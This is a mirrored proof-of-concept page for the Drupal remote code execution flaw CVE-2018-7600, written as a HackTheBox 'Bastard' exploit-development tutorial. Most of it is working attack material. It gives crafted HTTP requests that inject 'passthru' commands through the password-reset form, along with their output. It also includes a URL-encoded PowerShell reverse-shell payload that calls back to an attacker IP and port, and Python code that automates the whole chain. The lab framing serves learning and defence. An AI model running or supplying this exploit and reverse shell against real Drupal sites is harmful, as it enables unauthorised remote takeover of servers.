Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-7600 PoC — Drupal 安全漏洞

Source
Associated Vulnerability
Title:Drupal 安全漏洞 (CVE-2018-7600)
Description:Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
Readme
# ExploitDev Journey #2 | CVE-2018-7600 | Drupal 7.x Module Services - Remote CommandCode Execution
Original exploit: https://www.exploit-db.com/exploits/41564 <br>


**Exploit name:** Drupal 7.x Module Services - Remote Code Execution <br>
**CVE**: 2018-7600 <br>
**Lab**: Bastard - HackTheBox

### Description
There is a vulnerability in Drupal 7.x that allows us to create a malformed request that contains a system command and send it over to the target website. Later when we get a response, we also get a type of form id which we can later use to execute system commands.


### How it works
Finally, this is going to be the first time where I am going to show how to exploit a vulnerability manually using BurpSuite so you can get an idea of how things really work.

Here is the login panel of Drupal: <br>
<img src="https://i.ibb.co/3WTWfjV/bastard1.png">

To get started, simply insert a wrong username and password and send the request, capture the request using BurpSuite and you should see something like this: <br>
```
POST /node?destination=node HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

name=tester&pass=tester&form_build_id=form-0AxqNRlYdm206tq5uWde_4aoDyHHT82rH34KNOw-h_A&form_id=user_login_block&op=Log+in
```

This is just like a template for us so we can make changes, we need to make changes to `URI` path and `POST` data.

The exploit uses `passthru` which is a PHP function to execute system commands, you can use `system` or `shell_exec` if you want to.
There are two important `URI` parameters here:
* name[#post_render][]
  * it's value is going to be `passthru`
* name[#markup]
  * it's value is going to be the command you want to execute

And this is the `POST` data:
```
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
```

This is how it looks like when we render it on BurpSuite: <br>
<img src="https://i.ibb.co/g74fCny/bastard2.png">

Since I am not the author of this exploit, I don't really know how it was found but just by looking at the exploit code, I managed to do everything using BurpSuite. Now you understand that password reset functionality is being exploited here.

When we send this request, we get a `form_build_id` in response and then we use that form ID with another specially crafted `URI` with parameters & `POST` request to finally execute our command.

Think about this, you need to craft one `POST` request along with the command that you want to execute and then you need to make another `POST` request to execute that command and see it's results.

Switch back to pretty or raw mode in BurpSuite and search for `form_build_id`, it should look something like this:
```html
<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />
```

Now the fun begins, we use this form id's value to execute our command, your new `POST` request should look like this:
```
POST /?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

form_build_id=form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI
```

I changed the `URI` path to `/?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI`, notice that I have added the `form_build_id` there. <br>
Then I added `form_build_id` as `POST` data in my request body.

The response is as follows:
```
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: application/json; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.28
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESScee6fe9f609de4a8079e558b9edfe8b9=pvfNFPKU-mk3m6GoIT3Tk8QweAEUPMo1ehYMBM5vOPg; expires=Mon, 21-Feb-2022 04:51:14 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sat, 29 Jan 2022 01:17:54 GMT
Connection: close
Content-Length: 406

nt authority\iusr
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}}}]
```

Our command was executed and it's result is: `nt authority\iusr`

In order to get a reverse shell, I am going to use a powershell reverse shell code:
```
POST /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('10.10.16.19',+1338)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
```

Send the request, get `form_build_id` in response and do what you did before to execute the command.

<br>

### Writing the exploit
That was really cool wasn't it? <br>
But it was kind of too much work, we should automate something like that right? That's what an exploit developer does.

In this exploit we use `BeautifulSoup` to grab `form_build_id`, to be honest I have seen this being used by another exploit developer and I liked their idea, I mean it can be done with regex as well but when we grab `form_build_id` with BeautifulSoup, it is far more readable and convenient to use.

We are also going to disable security warnings of `requests` module using the following code:
```py
requests.packages.urllib3.disable_warnings()
```

Our command looks like this:
```py
command = '''powershell -nop -c "$client = '''
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
command += '''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'''
```

You might ask, why did I split the command into three different lines and then concatenated them... <br>
The reason for doing so was to make it easy to interpolate `lhost` & `lport` with string formatting, take a closer look here:
```py
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
```
I am using string formatting to insert `lhost` & `lport` into the powershell command, you can try other types of concatenation but so far this method has worked for me.

You are already familiar with the parameters that we are going to send:
```py
params = {'q':'user/password', 'name[#post_render][]': 'passthru', 'name[#type]': 'markup', 'name[#markup]': command}
data = {'form_id': 'user_pass', '_triggering_element_name': 'name',
        '_triggering_element_value': '', 'opz': 'E-mail new Password'}
```
The variable `params` sends `URI` parameters and `data` sends `POST` data; here is how it is going to be sent:
```py
req = requests.post(url=rhost, params=params, data=data, verify=False)
```

Here comes BeautifulSoup into the code, we use it to parse data as HTML, as an exercise you can try to do this with regex but it's highly advised not to do so:
```py
html = BeautifulSoup(req.text, "html.parser")
form_id = html.find('input', {'name': 'form_build_id'}).get('value')
```
Take a galance here:
```html
<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />
```

BeautifulSoup takes text response, parses it as HTML, then we use `html.find` to find an `input` with it's `name` attribute set to `form_build_id` and once found we grab it's value.

Finally there is an if-else condition to see if we found `form_build_id`:
```py
if form_id:
    try:
        params = {'q': f'file/ajax/name/#value/{form_id}'}
        data = {'form_build_id': form_id}
        print("[...] Executing payload, check your listener.")
        req = requests.post(url=rhost, params=params, data=data, verify=False, timeout=20)
    except Exception as e:
        sys.exit(f"[ ! ] Exception occured: {e}")
else:
    sys.exit("[ - ] Couldn't find form_build_id's value, exiting")

```

If a `form_build_id` was found then the following parameters and data would be sent:
```py
params = {'q': f'file/ajax/name/#value/{form_id}'}
data = {'form_build_id': form_id}
```

Remember that you might get a shell and a timeout error at the same time and that's not an issue.
The rest of the code is self explanatory and shouldn't be hard for any python programmer to understand.

<br>

### Final thoughts
In this exploit development session, you didn't just learn how to code but you also learned how things are done manually, this helps you a lot to build your own exploits or read someone else's exploit and understand how it can be done manually. <br>
You can replace BeautifulSoup with regex but it's not very advisable to do so, although there is only one `form_build_id` but professionally, it would be better if we use BeautifulSoup.
File Snapshot

[4.0K] /data/pocs/f6b2078fa59fee42fdfd27ffa2d3f581a24a88e9 ├── [2.1K] exploit.py └── [ 11K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →